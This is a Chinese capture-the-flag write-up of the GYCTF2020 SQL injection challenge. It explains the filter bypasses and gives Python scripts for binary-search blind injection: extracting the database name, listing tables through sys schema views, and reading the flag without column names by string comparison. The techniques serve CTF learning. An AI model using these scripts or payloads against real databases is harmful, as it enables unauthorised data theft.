GYCTF2020 SQLI

涉及到的东西

布尔盲注、字符串比较爆破、无列名比较

解题

参考了Y1ng师傅的WP

1.png

进行了一下fuzz:

没有单独过滤 union和select 但过滤了这个整体 union xx select 就很坑。

然后过滤了information_schema,导致不能来爆表,爆字段,但是可以用 sys.x$schema_flattened_keys和sys.schema_table_statistics_with_buffer 来爆表没有过滤^ || substr , ascii 等等,这题显然可以用盲注

2 || 1 回显 Nu1L

2 || 0 回显 V&N (这个就是条件)

爆库的盲注脚本:(这里用到了二分法跑盲注,效率更高)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url="http://xxxx/index.php"
data= {"id":""}
result=""
i=0

while(True):
i=i+1
head=32
tail=127
while(head < tail):
mid=(head+tail) >> 1
data['id']="2||(ascii(substr(database(),%d,1))>%d)" %(i,mid)
r=requests.post(url,data=data)
r.encoding="utf-8"
if "Nu1L" in r.text:
head=mid+1
else:
tail=mid
last=result

if head!=32:
result+=chr(head)
else:
break
print(result)

爆表的盲注脚本:这里用到:

data[‘id’]=”2 || (ascii(substr((select/**/group_concat(table_name)from(sys.x$schema_flattened_keys)where table_schema=database()),%d,1)) > %d)”%(i,mid)

这题的关键在最后,在拿到表之后,这个时候我们无法直接爆字段名,然后进一步爆值。

但是这里有一种新姿势,利用字符串比较特性,同时还利用到了无列名比较

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

def trans(flag):
res=''
for i in flag:
res +=hex(ord(i))
res= '0x' + res.replace("0x","")
return res

flag=''

for i in range(1,50):
print(i)
hexchar=''
for char in range(30,130):
hexchar=trans(flag+chr(char))
payload= '2||((select 1,{})>(select * from flag_1s_h3r3_hhhhh))'.format(hexchar)
data={'id':payload}
r=requests.post(url=url,data=data)
text=r.text
if 'Nu1L' in r.text:
flag +=chr(char-1)
print(flag)
break

解释一下:

2.png

3.png

这个用到了无列名比较,实质上是两张表对应字段的值进行比较,这里’mrkang’和 test表 ‘mrkang’ 进行了比较,然后’11’ 和’111’进行了比较,返回的0,要保证比较的两张表列数是一样的,然后这里用的limit 1 是为了取test表的第一行数据。

然后脚本里面用到的思路就是,我们猜测flag_1s_hr33表有两列,第一列字段名可能是id把,然后第二列可能存的就是flag,然后第一列字段名 id 的第一个数据应该是 1 ,所以我们构造表的时候,第一个控制为 1 ,然后第二个是我们要爆破的字符。

然后这里爆破的时候,字典是从小到大的,比如要爆破的数据是(”dphe”)第一个值是 d, a,b,c,d都会返回0 到e的时候才会返回1,所以这里打印出来的时候 用了往前移了一位。(减去了1),然后再是 fa ,fb,fc,fd,fe,ff,…fp,返回0 fq返回1,但是会减去一,所以实际上打印出来的是 fp,然后依次比较下去。同理爆破直到爆破完毕。

本地测试:

4.png

最后一个点,用了一下16进制,MYSQL是可以默认将16进制转换成字符串的。

也可以不用16进制转换,改一下函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
url="xxxx"

def add(flag):
res=''
res+=flag
return res

flag=''

for i in range(1,50):
print(i)
for char in range(32,130):
hexchar=add(flag+chr(char))
payload= '2||((select 1,"{}")>(select * from flag_1s_h3r3_hhhhh))'.format(hexchar)
data={'id':payload}
r=requests.post(url=url,data=data)
text=r.text
if 'Nu1L' in r.text:
flag +=chr(char-1)
print(flag)
break